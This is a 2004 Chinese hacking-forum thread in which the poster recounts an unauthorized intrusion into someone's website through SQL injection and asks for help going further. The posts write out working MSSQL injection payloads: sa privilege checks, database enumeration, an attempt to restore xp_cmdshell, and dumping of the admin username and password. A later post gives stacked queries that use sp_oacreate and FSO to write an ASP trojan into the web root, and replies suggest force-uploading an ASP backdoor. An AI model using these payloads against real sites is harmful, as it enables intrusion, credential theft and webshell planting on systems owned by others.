论坛: 黑客进阶 标题: SQL注入入侵[求助] 复制本贴地址    
作者: lijingxi [lijingxi]    见习版主   登录
昨天入侵一主机,遇到问题!请有能力的人帮忙!
SQL注入我也是刚刚才学习,对SQL也不是很了解!请大家帮忙! 

问题是这样的!


id=187 后面加单引号 错误
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]字符串 '' 之前有未闭合的引号。

这个站有SQL注入漏洞,还是SQL-server做的数据库

用最通俗的再id值后加上 and 1=1 和 and 1=2 测试,

and 1=1时返回正常,and 1=2时返回错误,

看来已经确定问题了.

id=187 and 0<>(select @@version);--

返回结果可以看出NT5.0就是windows 2000 了,打过SP4补丁后的server。

id=187 and 1=(select IS_SRVROLEMEMBER('sysadmin'));--

返回正常,可以确定连接数据库的用户是sa权限的 。

id=187 and 'sa'=(select system_user)

依然正常,确定了数据库连接帐号就是sa

187 and 1=(select name from master.dbo.sysdatabases where dbid=7)  获得数据库名:voddb

id=187 and 1=(select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell');--

没有返回内容,可怜xp_cmdshell 这个存储过程已经被删掉了。看能不能给恢复过来。

id=187;exec master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'

执行后,再检查,结果很失望,依然没有返回内容。看来无法通过恢复xp_cmdshell 去执行系统命令了。

到这里看来执行系统命令是没有什么办法了!只好去猜管理员的密码看看网站后台能不能上传文件吧!

我们猜测表的字段:

id=187 and 0<>(select top 1 username from admin);--

id=187 and 0<>(select top 1 password from admin);--

执行了上面的2个语句以后我得到了后台管理ID以及密码!

登陆到后台,只是一个普通的后台管理,没有想象的什么图片管理什么的!
并且不能上传ASP 文件!  请问 在这样的方法下还有什么办法能上传ASP文件拿到WEB SHELL
或者能拿到管理员帐号 密码 请问大家还有什么入侵思路么, 请高手指教小弟!谢谢!


[此贴被 斯文败类(lijingxi) 在 09月04日08时20分 编辑过]

地主 发表时间: 04-09-04 08:18

回复: guzhu [guzhu]   论坛用户   登录
看看这个 http://wvw.ttian.net/article/show.php?id=177

B1层 发表时间: 04-09-04 12:10

回复: lijingxi [lijingxi]   见习版主   登录
你说的文章好象对我没有什么帮助哦!

B2层 发表时间: 04-09-04 14:48

回复: guzhu [guzhu]   论坛用户   登录
图片能传否?

B3层 发表时间: 04-09-04 18:04

回复: lijingxi [lijingxi]   见习版主   登录
不能 根本没有任何上传权限!

B4层 发表时间: 04-09-09 08:35

回复: lijingxi [lijingxi]   见习版主   登录
大家帮忙! 求助!

B5层 发表时间: 04-09-13 10:09

回复: foreveri [foreveri]   论坛用户   登录
不能传东西吗??
你可以用老兵的工具传,,,用封包拦截网页返回的cookie,强行上传一个ASP后门!
看能不能拿到webshell

B6层 发表时间: 04-09-15 13:10

回复: hackerjune [hackerjune]   论坛用户   登录
思路很清晰
但是我不明白
187 and 1=(select name from master.dbo.sysdatabases where dbid=7)  获得数据库名:voddb

id=187 and 1=(select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell');--

这什么意思?

B7层 发表时间: 04-09-19 10:23

回复: yuwy [yuwy]   论坛用户   登录
看着你们讲
我只能看看

B8层 发表时间: 04-09-22 16:44

回复: lijingxi [lijingxi]   见习版主   登录
TO B7 的
id=187 and 1=(select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell');--
就是查看这个 xp_cmdshell 有没有被删!如果没有那就好办多了! 因为数据库SA权限!

如果 xp_cmdshell 没有被删 那么可以直接加用户了!我就不愁了!

B9层 发表时间: 04-09-23 08:46

回复: hackerjune [hackerjune]   论坛用户   登录
斯文
我帮不了你了`自己加油哦1!

B10层 发表时间: 04-09-25 14:56

回复: kyy31 [kyy31]   论坛用户   登录
努力努力在努力,你行的

B11层 发表时间: 04-09-27 16:48

回复: lijingxi [lijingxi]   见习版主   登录
语句:
id=187 and 0<>(select top 1 paths from newtable)--
返回:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 varchar 值

'E:\www,,201' 转换为数据类型为 int 的列时发生语法错误。

这说明网页目录在E:\www,接下来也可以利用FSO直接写入ASP木马(提示必须拥用SYSADMIN权限才可使用FSO和FSO开入的前提下) :



语句:
id=187;declare @o int, @f int, @t int, @ret int exec

sp_oacreate%20'scripting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'e:\www\test.asp',1%20exec

@ret = sp_oamethod @f, 'writeline', NULL, 'On Error Resume Next'--

在E:\WWW下创建一个test.asp并写入On Error Resume next语句:

id=187;declare @o int, @f int, @t int, @ret int exec sp_oacreate

'scripting.filesystemobject', @o out exec sp_oamethod @o, 'opentextfile', @f out, 'e:\www\test.asp',8 exec @ret =

sp_oamethod @f, 'writeline', NULL, 'asp horse '―

  在E:\WWW\test.asp增加一行记录,记录为asp horse, 整个完整木马可能这样写入。(%百分号要用%25替代写入)。如果得不到网页目录

,怎么办呢?前提你要猜到网站是否使用默认WEB,或者使用域名作为WEB。

id=187;declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,’ cscript.exe

c:\inetpub\wwwroot\mkwebdir.vbs -w "默认 Web 站点" -v "e","e:\"’

  在默认的WEB站点下创建一个虚拟目录E,指向E:盘下。

id=187;declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,’ cscript.exe

c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse’



不知道这样的办法行不行 ! 还没有机会实验! 最近比较忙!没有时间入侵服务器!哎!


B12层 发表时间: 04-09-29 19:22

论坛: 黑客进阶

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号